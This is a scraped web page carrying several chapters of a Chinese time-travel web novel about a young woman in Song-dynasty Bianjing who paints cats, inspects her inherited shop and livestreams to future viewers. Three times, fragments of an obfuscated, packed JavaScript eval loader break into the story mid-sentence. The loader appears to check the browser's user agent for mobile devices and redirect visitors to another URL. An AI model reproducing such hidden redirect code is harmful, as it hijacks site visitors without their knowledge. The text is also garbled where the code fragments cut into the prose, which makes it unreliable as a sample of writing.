0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386001|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳来跳去,那一幕像是春水里破开的涟漪,轻轻晃进心底,久不能平。 “她是这样孤单,却还能笑成那样……”沈修低声自语,指尖缓缓摩挲着怀中书卷,心中一股复杂的情绪翻涌。 他忽然生出一个念头,想去提醒她,让她知道自己被人打听着,让她小心别被流言蜚语欺负;可才刚踏出一步,又停住。 “我与她素未深交,贸然去见,怕是更显突兀吧。” 他抬头望向枝柳巷方向,暮色中那片青瓦巷尾被光晕包裹,安静又远。 沈修最终只是远远伫立,长久凝望,随后叹息一声,转身走入巷子,身影在石板小道上被拉得细长。 …… 福来今天跑腿得比平日更早。他提着布囊,沿着香市后街一直往枝柳巷外走,途中路过沈家的那间老铺子。 那铺子门面不大,青砖墙面上还保留着旧年手绘的吉顺二字,只是颜色已经剥落大半,字形也模糊。 原本是沈令遥父母留下的酱菜铺,后来因缺人打理,被转租做了早饭铺子。现在租期未满,暂时归租客和官府管着,等沈令遥交了契税就能拿回铺子。 铺子里炊烟升得有些零散,门口只摆着一口小煤炉和几张竹桌,几只破碗摊在桌面,汤汁已干成一道道褐色痕迹。 铺子门口,老板娘正慵懒地拨弄锅里的面汤,脸上透着无奈。 “这么偏的街角,哪有人来吃早饭啊……”她自言自语,声音被汤滚声淹没。 福来停下脚步,打量周围。 对面正是那间殡葬铺子,门口挂着黑白幡,纸人纸马依次排在门侧,风一吹,纸马颤得发出轻轻的沙沙声。 再往右两步,是粮油店,门口油罐泛着一层厚腻的黄光,空气里弥漫着一股混着油腥和陈旧米味的闷气。 几个提着米袋的人进进出出,表情多半是急促而沉闷。 粮油店旁墙角还有一滩未干的菜汤水渍,吸引了几只野猫驻足,蹲着舔水面,偶尔抬头谨慎四顾。 福来看着这些,心中默默叹气。 “这铺子,真是越发冷清了……若姑娘真能收回来,或许可以换个卖法,把猫铺与茶饭铺合在一起,也许能重开生机。” 他想象着,若是沈令遥把猫群带来,门口铺着软垫,猫们懒洋洋晒太阳,里面卖小鱼糕、米汤和猫香囊,人们来吃早饭,顺便看猫、摸猫,听姑娘笑声轻扬,那画面简直像春日白墙青瓦间一场热闹的梦。 福来站在那里,出神很久,直到一只野猫绕到他脚边,用脑袋轻轻蹭了蹭他裤脚,才把他从遐想中拉回现实。 他弯腰摸了摸猫背,心头忽然涌上一阵暖流。 “姑娘啊……这铺子要是回到你手里,一定能变成城里最好的去处。” 说完,他提起布囊,轻轻一叹,沿着巷口缓缓走远。石板路上余下的夕阳,拉出他长长的影子,猫跟在后面,一步三停,像一抹灰色的春风。 7. 第七章 各人来求画 城东杨府后院里,婢女秋棠正扶着竹篮,把里面的线梳理整齐,然后放在篮子的另一边。 另几位婢女围坐在角落,有人缝香囊,有人搓香珠,屋檐下还挂着半干的梅子串。 “秋棠,听说昨日你家夫人赏了你一对玉珠,是怎么来的啊?”一个扎着双髻的小婢女,眼睛晶亮地问。 秋棠被问得一怔,随即抿着嘴笑,神情里带着几分骄傲:“还不是多亏了枝柳巷那个沈姑娘。那天橘猫丢了,是她帮我抓回来,我见她画的猫图栩栩如生,就斗胆求了一幅,结果夫人喜欢得不得了,还赏了我一对玉珠。” “猫图?哪个姑娘?枝柳巷什么时候有这样的人?怪了…”另一个年长些的婢女一边缝边小声问,眼里掺着一丝狐疑。 “对呀,开始我也觉得她怪,可你们不知道,她画出来的猫啊,就像活过来一样。”秋棠说着,眉眼弯弯,声音里藏不住的炫耀。 “那……她收钱吗?” “可贵吗?” 几个婢女一听,纷纷凑过来,眼神里闪烁着藏不住的期待。 秋棠摆摆手:“她倒没要钱,只是随缘有人送东西,我也是用些香粉换的。但若是多送些银钱,她也不推辞。只不过,若你们真要去,记得带点香囊、糕点,或点心,别空着手去丢脸。” 一听这话,几个婢女顿时坐不住了,七嘴八舌商量起来:“要不咱今晚就攒点心,明儿去试试!要是得了画,被夫人赏识,岂不是翻身机会?” 秋棠被她们围着问来问去,笑得乐不可支,心里却也暗暗得意:这枝柳巷里的沈姑娘,没想到还有这等能耐,不仅救猫,还有这般好手艺。 那只橘猫这时从廊下缓缓踱过,朝秋棠喵了一声,秋棠低头看着它,笑得更温和。 …… 被一群妙龄女子提到的枝柳巷猫姑娘这会还在兢兢业业进行着自己的直播。 枝柳巷里阳光正好,青石板泛着柔光。这会沈令遥刚刚结束了一场未来直播,手里还攥着写得密密麻麻的猫档案,眼睛里隐约透着笑意。 她对着镜头摇着小竹笔:“今天就先这样啦,大家再催也不行,这些狸奴也要休息呢。打赏的鱼干记得快点寄过来啊!” 【系统提示:直播结束,观众活跃度86%,小额打赏鱼干×143,未来币×72。】 她轻轻吁了口气,刚要起身去把猫们聚起来,忽听门外传来窸窸窣窣的脚步声。 猫们也纷纷竖起耳朵,小箭更是抖着尾巴,一副准备随时扑出去的模样。 “姑娘在吗?我们是来求画的……” 她愣了愣,快步走到门口,刚把门推开,就看见院外排了四五个婢女,个个梳得光亮整齐,手里提着小包袱,脸上带着小心又期待的笑。 “是秋棠姑娘说的,我们……我们听说您会画猫图,能不能也替我们家主子的猫画一幅?若成,必有重谢!” 沈令遥抿唇,先是愣了片刻,随即笑出声,点点头:“好啊,进来吧,院子有点简陋,别嫌弃。” 她飞快搬出桌子,摆好竹纸、砚台,把院门半掩着,却挡不住外头那些探头张望的路人。 婢女们小心翼翼围到桌前,看着她熟练地铺纸、研墨,一时屏住呼吸,不敢发出半点声音。 几位婢女依次将自己准备好的香囊、小点心摆在桌边,低头看着沈令遥,一边小心翼翼地开口。 位脸圆圆的婢女说道:“我家的是雪狸,通体雪白,脚底生绒,听老夫人说这是城中少见的,性情偏傲,连老爷叫它也只摇尾巴,不肯走近。” “雪狸……应该是布偶猫,娇气、傲娇,喜欢被捧着走路,不喜欢被抓后颈……”沈令遥在心底默默翻译,眼底带着一丝笑意。 旁边一名年纪稍长、梳高髻的婢女,也轻轻附和:“我家的猫,是锦毛鼠斩,通体金灰,背有一抹黑线,据说捕鼠极快,夜里能从屋脊掠到树顶,连邻家老爷子都夸它是个好鼠杀官。”(1 沈令遥差点笑出声,心里想着锦毛鼠斩,动作敏捷、爆发力强,是理想的捕猎型猫咪,或许是狸花猫。 另一名婢女怯生生地开口:“我家小猫是霜面夜行,灰白交错,晚上极会躲,白天出来乖巧,老夫人最疼它,说这猫知礼数,不吵不闹。” 霜面夜行……难道是奶牛猫?沈令遥默默记在脑海,嘴角的笑意越压越不住。 最后一位婢女,皮肤微黑,看着最机灵:“我家的猫唤作绣面狸,毛发细密柔顺,面上花纹对称,后背像被人泼过一笔墨,夫人很是喜爱,若作画,最好不过。” 绣面狸……花色绝美,或许是三花?沈令遥脑中蹦出的现代词汇一连串闪过,连自己都忍不住轻咳一声。 沈令遥抬头,一个个看着她们,脑中像一条自动字幕条刷过,将这些宋代古称迅速对照到未来品种上。 她眨了眨眼,心中忍不住生出一种奇妙的错位感,不管在哪个时代,猫都有专属的花名和小性子,永远都能让人心甘情愿为它们费心。 她缓缓收回思绪,声音温和道:“都记下啦,一只都不会落下。只要猫们愿意配合,我定能画出它们最灵动、最可爱的样子。” 几名婢女听后,面面相觑,随后眼睛都亮了,连连称谢:“多谢姑娘!多谢姑娘!若能成,必定好生回报!” 沈令遥轻轻点头,而她院子里的猫熟悉了这群人, 猫群此时也纷纷挤过来,好奇地探头打量桌上的香囊和点心,鼻子一抽一抽。 灰白猫甚至抬爪试探性地勾起一个香囊,小箭则直接叼走了一块小糕点,转头跑没影儿。 几名婢女愣了一下,随即都被逗笑,空气里弥漫着糕点香气与猫呼噜声,热闹得很。 她低头落笔,线条在纸上游走,猫的眼睛、胡须、尾巴层层勾勒,转瞬便显出一只活灵活现的小狸奴。 婢女们看得眼睛发亮,甚至忘了呼吸。 沈令遥手里画的动作不停,但心里忍不住好奇原主到底什么来历,这画法自己很快就上手。 她心里生出疑惑,却没有深究,只是嘴角忍不住翘起。既然能用,那就用吧,既然这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386002|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人喜欢,也算是乐得把这猫图当见面礼。 这时,一只婢女忍不住轻声说:“姑娘这手艺,比绣坊里请来的画师都好得多,猫好像随时会从纸上跳出来似的……” 沈令遥抬头笑着看她们:“每只猫都有魂灵,有眼神,它们能听懂的。画的时候,只要心静,它们会告诉我要怎么画。” 那句话说完,连小箭都抖了抖耳朵,呼噜声在脚边连成一片。 …… 福来今天跑腿回来,远远就看见院外一群衣着整齐的婢女,提着小包袱,排成一列,时不时低声交头接耳。 他吓了一跳,脚下一滑,差点把手里装香料的布囊撒出来。 “我的天……这阵仗,难道是来找姑娘告状的?哪这么多贵女?”福来小声嘟囔,心里却七上八下,赶紧走近。 走到院口,他才看清那些贵女其实是各个府中的婢女,只是妆容打扮得格外精致,看着贵气逼人。 他松了口气,正想招呼,沈令遥恰好抬头看见他,扬手招呼:“福来,快回来帮我递纸!” “好、好!”福来连忙跑进院,帮她铺纸、递砚,手忙脚乱。 等那些婢女一一收好画像、香囊,鱼贯走出巷口,福来才喘着气靠到桌边,看着地上散落的碎纸和猫爪印,眼睛一亮:“姑娘,这……这些都是来请画的啊?若是以后铺子也能这样,你就在铺子里画猫图,不用再四处跑生意,也不用再……再怕人闲言碎语。” 沈令遥愣了愣,眨了眨眼,挑眉问:“铺子?” 福来一愣,随后捂住嘴,眼神躲闪:“啊……我是不是不该说这个事情?” 沈令遥轻轻笑了笑,微微仰头,看向院墙那边斑驳的光影,猫们也在脚边翻滚,仿佛察觉到了她的情绪。 “铺子啊……”她低声呢喃,手指轻轻摩挲着桌上的竹笔,思绪一时飘远。 沈令遥其实还没弄明白自己怎么来的这,但好在直播活动和视频拍摄都不耽误,她也就没有太担心。 不过这些日子,她也只是在这个小院,却对铺子一无所知。 院子里砖墙青灰,半个小天井里种着几株香草,偶有雨水顺着瓦檐流下来,打在青石板上,叮叮咚咚,清凉而疏远。 一只灰白猫在桌边抖了抖尾巴,伸爪轻轻拍她的手,仿佛在把她从出神中唤回来。 沈令遥笑了一声,眸子里重新亮了起来。 “行啊,那我得先去瞧瞧,看看是不是还能多一方小天地给狸奴们翻跟头。” 随着她说完,系统也像是接收到什么消息一样,突然在她眼前弹出提示。 【系统提示:新一轮直播开始,未来观众已接入,主线任务投票开启——是否开启新铺子计划】 【观众1:去去去!我要看铺子!】 【观众2:投10条大鱼干,快去!】 【观众3:转账500未来币,必须开新业务!】 她愣了愣,随即挑眉,笑意从嘴角一路扩散到眼尾,猫们也跟着一阵咪咪叫,似乎在为她新事业助威。 8. 第八章 铺子,我还有铺子呢? 猫图刚收完,院子里还飘着新墨的清香,灰白那只就已经开始拆弄桌上的香囊,抖得棉絮飞了一地。 小箭更绝,叼走一张未干透的画纸,跑到屋檐上晾着。 “你们俩,怎么比人还淘气啊……”沈令遥手里拿着竹刷,忍不住啧了一声,把灰白抱到一边,小箭那边暂且只能放任,它总有办法自己滑下来。 福来收拾好小桌子,正把刚用过的砚台放进篮子,忽然顺口说了句:“姑娘,这些画像日后也能去铺子里画,若是收回铺子,做个狸奴猫也挺好,东城那边有鹰犬市,咱们也能开一个。” “铺子?”沈令遥一怔,眉尾挑了挑,心底像被猫爪子轻轻挠了一下。 “对啊,就是姑娘父母留下的那间铺子,原先是做酱料的,只是后来租给别人卖早饭了……若是等租期满,过了红契,有了市籍就能自己用啦。”福来说得轻巧,好似只提了句风月闲话。 沈令遥一时间没吭声,脑子里已经哗啦一下开了道口子,未来直播间的弹幕也跟着刷得飞快: 【喵喵喵!铺子剧情来啦!】 【我要看猫馆实景打卡,走起!】 【投十个大鱼干,让小姐姐马上去探店!】 【走走走,猫们需要个新据点!】 她忍不住抬手扶了下额头,心里暗骂这些弹幕,比狸奴还难伺候,恨不得拽着人的鼻子走路。 可想归想,她还是被推着心动了。或许正好趁这个由头出去透口气,看看那铺子到底是个什么光景也不错? 如此,她对着福来扬了扬手,笑意漫开来:“那就带点香囊和画册,顺道散步去吧。” 出了院子,阳光正好。 枝柳巷口的老杏树被风吹过,叶子带着甜涩的香气,刚好拂到脸边。 路边小摊才刚摆开,卖凉糕的婆子正在摊前敲铜锣:“新蒸的杏花凉糕,甜中带脆,清口解腻!” 再往前两步,就是老赵家的乳香茶汤,瓷坛子里白雾袅袅,拌着微苦的乳香味,早来的挑夫们一碗接一碗地喝。 “沈姑娘,今儿怎么自个儿出来啦?”挑茶的老杜头上还搭着湿布巾,笑呵呵地招呼。 “出来遛狸奴?还是来香市补香料?”卖香囊的李婶眯着眼,声音慢悠悠。 “去看看铺子,顺便走走。”她几乎是下意识就回话,甚至还多加了一句:“老杜家的小孙儿牙口可还好?上回我给的小麦香粉,他吃得惯不?” 老杜眨巴着眼,惊讶地笑:“你这记性,谁家小孩都记着,我自己都快忘了,吃得好,吃得饱。” 沈令遥心底却咯噔一下,暗自嘀咕自己怎么知道这些……什么时候学会这么热络?可嘴上依旧顺顺地应着,像是身体里有个比她还先一步开口的记忆。 一路走,沿街的香气变换得很快,梅汤、炒栗子、桂花糖糕、葱油饼的香味混杂着,叫人脚步慢下来。 有挑担卖花的人挑着水仙和鸳鸯草,浅黄浅绿,在晨光里鲜得很,路边跑腿的少年边跑边喝一小盅梅汤,嘴角都挂着糖汁。 再过去,便是卖饮子的铺子,挂着乳香茶汤,梅子清饮,雪梨甘露的幌子,风一吹,幌子哗啦一声像是在迎客。 几名婆子手里端着青瓷盏,边喝边议价,笑声和咳声混成一片。 每走几步,总有人和她打招呼,她也能自然地接上 几句。 “前日送香粉的脚还疼吗?” “哟,这猫铃还是去年买的那串吧?” “今儿挑得荷叶可新鲜,晚饭做汤正好。” 这些话听起来再寻常不过,却让她愈发心里发毛,这是我知道的吗?到底是原主的记忆,还是这身子自带的本事?弹幕里也好奇,她怎么如此的自然。 可沈令遥面上依旧是闲适温润的笑意,边走边点头,还朝对面一只黑猫打了个响指,那猫像听懂了,转头摇了摇尾巴。 走了小半个时辰,终于到了巷尾那排旧铺子。 她抬眼看去,铺子外墙青砖上挂了老旧幌子,褪成灰白,风一吹还咯吱响。 先是看到隔壁的卖早饭摊,门口那几张矮桌油腻得发亮,汤碗歪歪扭扭搁着,空气里混着葱油、鸡汤和冷米浆的酸味,几只苍蝇嗡嗡飞。 铺子另一边是卖粮油的,门口一排油罐泛着黄光,几袋米堆得像墙,米粉味混着霉味,让人一口气提不上来。 再抬眼看对面,是丧葬铺子。 门口摆着纸人纸马,白幡在风里拂来拂去,隐约有哭丧调子从里头飘出来,连巷子口的阳光都被拉得冷飕飕。 沈令遥站在自家铺子门口,背后像被人用湿布贴了一下,打了个小寒颤。 “好家伙,这风水格局,左香腻、右油浊、对面阴森……怪不得早饭铺子活不下去,顾客进来一半就被香呛走了,一半直接被对面白幡吓跑了。” 她自言自语,嘴角却忍不住翘起来,要是这里能改成猫馆,先请几只胆大狸奴镇镇场子,可保比对面纸人热闹得多。 一边念叨,一边抬脚推门,门被卡住了,发出吱呀一声,屋里黑洞洞,带着一股霉和湿木头混合的古怪味儿。 她探头进去,看见几张破竹椅靠墙,角落还放着个老陶罐,罐子边缘开了小口,像只咧嘴傻笑的狸猫。 得,就这房子,怪不得人家想要走了,不再继续卖早餐,隔壁家有人跟她这屋子做一样营生也无妨,大家都一样很糟糕…… “先不说别的,这屋得先开窗透三天风,不然猫来了先昏过去。”她在心底暗暗盘算,若真要收回来,还得把地契红契查清楚,再到官府登市籍,缴住税,才能恢复营业。 “红契有无抵押,市籍得交档案,还得按铺面缴住税……这破铺子要收拾完,八成比再养十只狸奴都麻烦。”她一边嫌弃,一边在心底算算盘,指头在门框上轻敲,像真在打算盘珠。 …… 快到傍晚时分,街巷里渐渐有了些晚凉的风。 铺子门口那块破旧的木牌在风里晃着,像个垂头丧气的老人,偶尔吱呀一声响,恰好把一只觅食的灰雀吓得扑棱飞走。 对面丧葬铺子前,纸马和纸人已被收进一半,只留几根白幡在门侧,随风缓缓摆动,偶尔有人低声过来取货,抱着纸花匆匆走远。 隔壁卖粮油的店还亮着灯,米袋堆到门外,油坛子排列整齐,表面被落日的最后一抹橘光镀了一层暗金。 巷口的茶汤铺也才刚收摊,几只空碗叠在一边,茶香被晚风吹得四处散去,混在青石板缝里那股常年潮湿的霉味中,显出一种温吞而疲倦的味道。 沈令遥把门锁好,微微仰头,看见天空像被谁用大刷子晕开了橙红和浅紫,几只乌鸦在瓦梁上歪着脖子,看着巷里稀疏的人群。 “要是猫能飞,也许会抢先站到那屋脊上去瞭望吧……”她心里随口想着,提了提篮子,正准备走,忽然察觉身后那巷口似乎有一道视线,轻轻扫过后颈,像是被猫的胡须悄悄擦过。 她转过头,只见巷口有个瘦削的人影,半隐在米铺门口和墙角的阴影里,看不真切。 他背后堆着米袋,高过人头,门口挂着一只破草帘,风一吹,帘子沙沙响,碎光漏下来,在他脸上打出一点断断续续的光斑。 沈令遥微微挑眉,眯眼想看仔细,却只来得及看见那人慌张地侧过身,把脸埋到怀里那一卷书卷后,脚步一顿,随后转身匆匆朝米铺里走。 她愣了愣,随即轻笑,摇了摇头,把刚要探出口的问候咽了回去。 大概又是哪家的秀才吧……汴京城里读书人多得像街口卖茶的瓷碗,一个个清瘦又拘谨,见到陌生女子就跑,倒是省心。她心里念叨着,抬手把被风吹乱的发丝拨到耳后,篮子里传来一声轻响,是被香囊挤得歪斜的画册,露出几根猫毛,像是要偷偷溜出来看热闹。 街角那边有个挑担的跑腿少年快步经过,肩上的竹篮里装着包好的香粉和汤饭,一边走一边喊着:“香市最后一锅凉糕啦!” 一个女人从油粮铺里抱着半袋米出来,见到她,偏头喊了声:“沈姑娘,今儿挑了好米吧,回去做猫汤饭也香!” 沈令遥抬手挥了挥,笑着回:“可不是嘛,省得它们又翻我的香囊找吃的。” 女人咯咯笑着走远,背影在夕光里慢慢变小。 她站在铺子门口,看着刚刚那个人影彻底消失在米铺深处,才轻轻呼出一口气,把篮子重新端好。 春末的风真是怪,吹得人头发痒,连猫毛都跟着乱飞,连心里都跟着飘来飘去。 她转过身,脚步缓慢,裙摆扫过石板,带着一阵细碎的簌簌声。 对面丧葬铺的白幡在最后一点落日余晖中微微闪动,看起来倒不那么阴森,反而有种古怪的恬静。 沈令遥走了几步,回头看了一眼铺子门口,又看看那巷口,像是确认谁也没跟来,这才重新笑起来。 “得找个晴天,好好洗洗这破门,先晒三天,再让狸奴们来试住……”她心底盘算着,步子渐渐轻快,消失在巷口那抹带着金边的晚风里。 ……… 天色已近傍晚,晚霞被风吹得斑驳破碎,挂在瓦檐上,像是熟透却没人摘的柿子,晃悠悠的,看得人心里有些软。 沈令遥提着篮子慢慢走,沿路的香粉铺子正往内收木牌,香囊架子被老板娘一件件收进布袋里,手脚麻利。 香市那头,有小贩正把凉糕盘子堆起来,碗边还粘着一点桂花糖霜,透着甜气儿。 几个跑腿少年坐在石阶上吃小笼包,边吃边甩着湿巾擦汗,笑闹声混着热气,落在青砖小巷里,听着倒格外舒坦。 “沈姑娘,今儿一人啊?那几只狸奴没跟着跑吧!” 香粉铺的婆子把最后一袋香粉塞进篮子里,抬头冲她喊。 “它们可懒着呢,若跟出来,半路就被凉糕摊拐跑了。”沈令遥笑着回,脚步不紧不慢,裙摆在石板上刷刷响。 走过巷口时,她看见一个卖茶汤的铺子门口挂着一盏小灯,橘黄色光晕摇摇晃晃,几只飞虫在灯底下转圈,像是夜里不甘睡去的小孩。 她脚下轻轻一停,看着那盏灯,忽然想到刚刚在铺子前被偷看的那一眼,心里像被人轻轻拨了一弦,荡出细小的涟漪。 “还真是奇怪啊,遇见了也没打声招呼,偏偏像猫一样,偷偷望一眼就跑……”她笑了笑,眼尾弯弯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386003|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风从发间掠过,带来一点香囊的凉味。 回到院子门口时,天色已完全暗下来,瓦檐下的灯笼被点亮,映得砖墙上一片橘光。 门口那几只猫全都聚在一起,灰白的把脑袋埋在她之前晒的棉布里,尾巴一抽一抽,像是在气她回来晚了。 小箭则干脆坐在门槛上,像个门神,眼睛一眨不眨地盯着她篮子里晃动的香囊。 “行了行了,都有份,别争。”她提着篮子进门,顺手把一小袋软糕撕开,分成几块,猫们立刻围成一圈,叼了就跑,院子里立刻热闹起来。 屋里还透着墨香,桌上那几幅半干的猫图被灰白猫踩得满是小爪印,她拿起来看了看,倒也不恼,反而笑着在旁边空白处补了几笔,把爪印变成跳跃的小猫,画里画外竟意外呼应起来。 “真是,没个老实的……跟……一样,整天乱蹦跶。”她一边念叨,一边把香囊和画册按大小重新叠好,放到案头,想说直播的弹幕吵得很,但想到大家都能听到,沈令遥就没有说话。 但是铺子的事情得有个计划,沈令遥抽出一张薄纸,开始写小计划。 【猫铺开业计划,今日要记】 铺子需要彻底通风三日 竹柜要晒两轮,外加油灰重新刷 门口得换牌子,最好再放香盆驱霉 查红契,交市籍,筹住税…… 她一笔一笔地写,字迹清秀,末了又加了一句小字:“要是有大鱼干投喂,记得先给狸奴买新窝。” 写着写着,耳边叮的一声,直播的互动面板跳出来,弹幕瞬间翻飞: 【投20条大鱼干,先给猫买新香囊吧!】 【要不要开个夜间直播,看看狸奴睡觉实况?】 【猫猫计划表太可爱了,求高清扫描收藏!】 【这次去铺子打卡太精彩,下回带个狸奴一起巡街!】 【还是宋朝好,女子也能合法继承铺子,不然我们女宝还不知道要受多少苦。】 她看着屏幕,笑着摇了摇头,嘴里嘟囔:“连猫都要被你们安排得明明白白,真是比街角卖汤婆子的婆子还啰嗦。” 一只猫从桌角跳下来,正巧把她新铺好的纸踢到地上,她忍不住笑着捏了捏猫耳朵,叹道:“行吧,今晚先听猫的,明日再整理。” 她转头去添了一盏小茶炉,屋里渐渐升起一丝暖气,院子外青砖在夜里渐渐凉透,风从廊下缓缓溜进来,吹得几只猫微微缩颈。 她抬手把头发在脑后随意绾起,露出颈后一小片白皙的肌肤,被灯影扫过时,闪着细微的光。 “明儿得早起……先修猫窝,得再画些新的猫册样张,还要备香粉香囊……” 她心里轻声盘算,手指无意识地在茶杯沿上敲了敲,似是给自己打节拍,也像是给那些未来观众听的。 风轻轻扫过门口,带来远处巷口香粉铺最后一缕幽香,她忽然抬头,望着微亮的月色,轻轻勾起一丝笑。 “好啊……那咱们就慢慢来,先把猫和院子安顿好,再让那些未来人也跟着踏实。” …… 正准备收拾碗筷,忽然听见叮的一声脆响,像有谁用细小的铜铃轻轻敲了她的耳骨,下一瞬,面前弹出一块光幕,边角竟然还飘着猫爪印。 【系统提示:今日剩余视频任务未完成,请尽快上传,已超过安全预警线20%。】 她怔了怔,眨了两次眼,指尖悬在空中,忍不住嘟囔:“又来了……催命似的,比猫们催晚饭还殷勤。” 可能是听到她的吐槽,光幕上浮动着几行字,那些是这几天沈令遥只要一吐槽就会出现的说明,她这会儿都快背得滚瓜烂熟了: 【系统分为「直播」与「视频」两大功能:】 【直播用于即时互动,观众可投喂鱼干、香囊、香粉、未来币等礼物,可兑换成宋代现钱,用于日常生活支出。】 【视频用于记录,点赞、分享、收藏等数据将被转换为生存指数。当前生存指数:52%,请保持在50%以上以保障安全。】 她看着生存指数这四个字,眉梢轻轻一跳,心里泛出一阵凉意。虽然沈令遥自己也不记得,为什么一定要维持这个指数……可总觉得,若是不听话,后果会不太妙。 想到这儿,她抖了抖肩膀,连忙在桌上把刚整理好的香囊重新摊开,又抓过一只半睡的狸猫,一把抱到怀里。 “来,笑一个啊,给你们的新窝拍个开箱,再加点糕点戏份,很多人喜欢爱看这个。” 狸猫哼了一声,爪子搭在她腕上,倒也意外地配合。 拍摄很简单,她的眼睛就是拍摄器,一切剪辑都在意念里控制着面前的东西,只是沈令遥手上动作不少,也在心里盘算。 平日给街坊画画不收钱,反正有系统给兑换的钱维持生活,但若真有人出大价钱,比如贵妇、权贵府里的猫……嘿,那可得好好宰一笔,估计看直播的人肯定会拍手叫好。 想到这里,她挑眉笑了笑,镜头里的猫刚好眨了下眼,像是被她这想法逗笑。 屋子里瞬间暖洋洋的,只有风还轻轻掀着廊下那盏小灯,影子在墙上跳动,像狸奴们夜里的小巡逻。 9. 第九章 这不合礼法 猫们吃完夜饭,院子里安静下来,只有灰白那只在廊下舔爪,偶尔抬头警惕地盯着飞虫,爪子匍匐在地。 沈令遥把小竹躺椅搬到院子中央,摊开小账册,指尖摩挲着书页边,半晌才轻轻嗯了一声。 “直播刷来的鱼干、香粉票子、未来币……换成钱,竟也够买点正经东西了。” 她从系统面板调出兑换记录,金色小字一行行跳动,像极了她以前在外头算香料账时攒的小豆子。 嗯?以前在外头算香料账时攒的小豆子? 沈令遥也不知道自己怎么想到这句,但也没有太在意。 【直播收入:鱼干×372,未来币×153,香囊票×91】 【可兑换宋代现银:约134两】 “134两……若换成街角那家铺子小门面月租,只够三个月,但若只拿来买日用品,倒也富裕。”她眯眼笑了笑,指尖轻点计算,再拉下一列小字,忍不住感叹:“这的钱也能换算得清清楚楚,这系统倒比那些米铺账房还仔细。” 她把系统面板来回翻看,最后写下小账单时,忍不住又多加了几行小注解。 【若换条好被褥,要八两银子……这价钱够买五十斤好米,狸奴能吃两个月。】 【要是再配个织锦被面,那得再加三两,唉,这些狸奴就值得最好的。】 她停笔瞥了一眼,灰白猫正把香囊咬成一地棉絮,见她看过来,居然像个人似的抖了抖胡须,哼了一声。 “好好好,都听你的,下回先给你们做个香囊窝,不然你们要把我所有香囊都拆了做铺垫。”她又拿笔点了点纸,眯着眼想了会儿,忽然加了一句:“若日后再有空钱,买只香炉,冬天熏着睡也暖和……” 写到这里,她忽然笑出来,眉眼弯弯,声音细细软软的,听着就像猫咪发困时低低的呼噜声。 随后,她从篮子里摸出一小包没有兑换成钱,而是成为实物的未来观众送的特调香粉,拆开闻了闻,轻轻咳了两声:“呛鼻啊,这香怕不是混了防虫剂?总觉得哪里有点杀气。” 随即,她拿出另一页小纸,快速写下【日后购置计划】:换新的床褥、被套,防潮又好洗;买两张小竹躺椅,院子里能更舒服;定制猫用食器、猫架、软窝;找裁缝铺打样几件猫衣服、香囊挂件 “总不能总让狸奴在破木凳子上睡吧,毕竟是我的半个聚宝盆。”想到这里,她失笑,提笔在香囊挂件后面加了个括号:【多做几件,万一能卖给直播观众呢,大家说不定想买周边呢。】 算着算着,夜风吹过,几只猫不耐烦地把脑袋搁在她腿上,眼神里写满早点睡吧,别盘算了。 “行行行,明天就出去看看哪家裁缝舍得给猫打样,省得你们总嫌弃我。”她搓了搓猫脑门,笑声小而温软,飘在灯下,像刚蒸出来的豆沙糖糕,绵软香甜。 ……… 第二天一早,福来就蹦蹦跳跳地跑出去接活儿了,沈令遥睡到太阳爬到墙头,才被灰白一爪子拍醒。 院子里,竹椅被猫们围成一圈,像临时开的小议会。她随手抓了个小扇子,坐下来看猫们在阳光里翻肚子打滚,时不时咕噜几声,像在开会表决。 “你们今天是要选族长,还是在讨论怎么抢香囊?” 说完,她轻轻推开系统面板,把小小的直播按钮点开,瞬间直播观众的弹幕就像泼了开水的豆芽,唰地窜满屏。 【猫猫直播!来了来了!】 【今天也想看猫们晒太阳睡懒觉。】 直播里,猫们一开始只是围在她腿边,没多久就开始热闹起来。 小箭先抢了块糕点,跑到院角,一路抖尾巴;灰白猫看不过,直接飞扑过去,一下把小箭按倒,俩猫滚成一团,发出低低呜呜声。 “喂喂喂,别打架啊,你们俩要是把香囊也给拆了,我今晚可不熬鱼汤了。”她拿扇子点着两只猫,像个训孩子的娘,语气凶巴巴,可眉眼里全是笑。 弹幕瞬间跟着热闹: 【灰白猫:老子要香囊,要尊严!】 【小箭:要吃要香囊还要被摸!】 【这家直播也太真实了,笑得我咖啡喷了!】 【小姐姐快救救猫吧,它们已经演技浮夸到要拿影帝了!】 【快问小姐姐,猫馆进展怎么样了?】 【开店计划表更新了没?】 她一边念弹幕,一边看着另一只三花猫小心翼翼地叼走糕点,想跑结果被香囊绊倒,摔个四脚朝天,扑棱着滚了几圈。 “啧,这演技,怕不是下回要来直播抢戏份。” 她随口一叹,把三花猫抱起来,抖了抖香囊屑,吹干净再放回地上,那猫反倒自觉爬到她脚边,像个认错的小孩。 她打了个哈欠,边理毛边回弹幕:“现在哪来的馆子……先说说吧,大家有啥高见。” 有人刷了一大段建议,她忍不住挑眉读出来:“先开猫画馆,做猫图专门接单,这个听着还行,但要靠人介绍。对面那家是卖殡葬的,要是只开画馆,顾客大概进门就被吓跑了。” 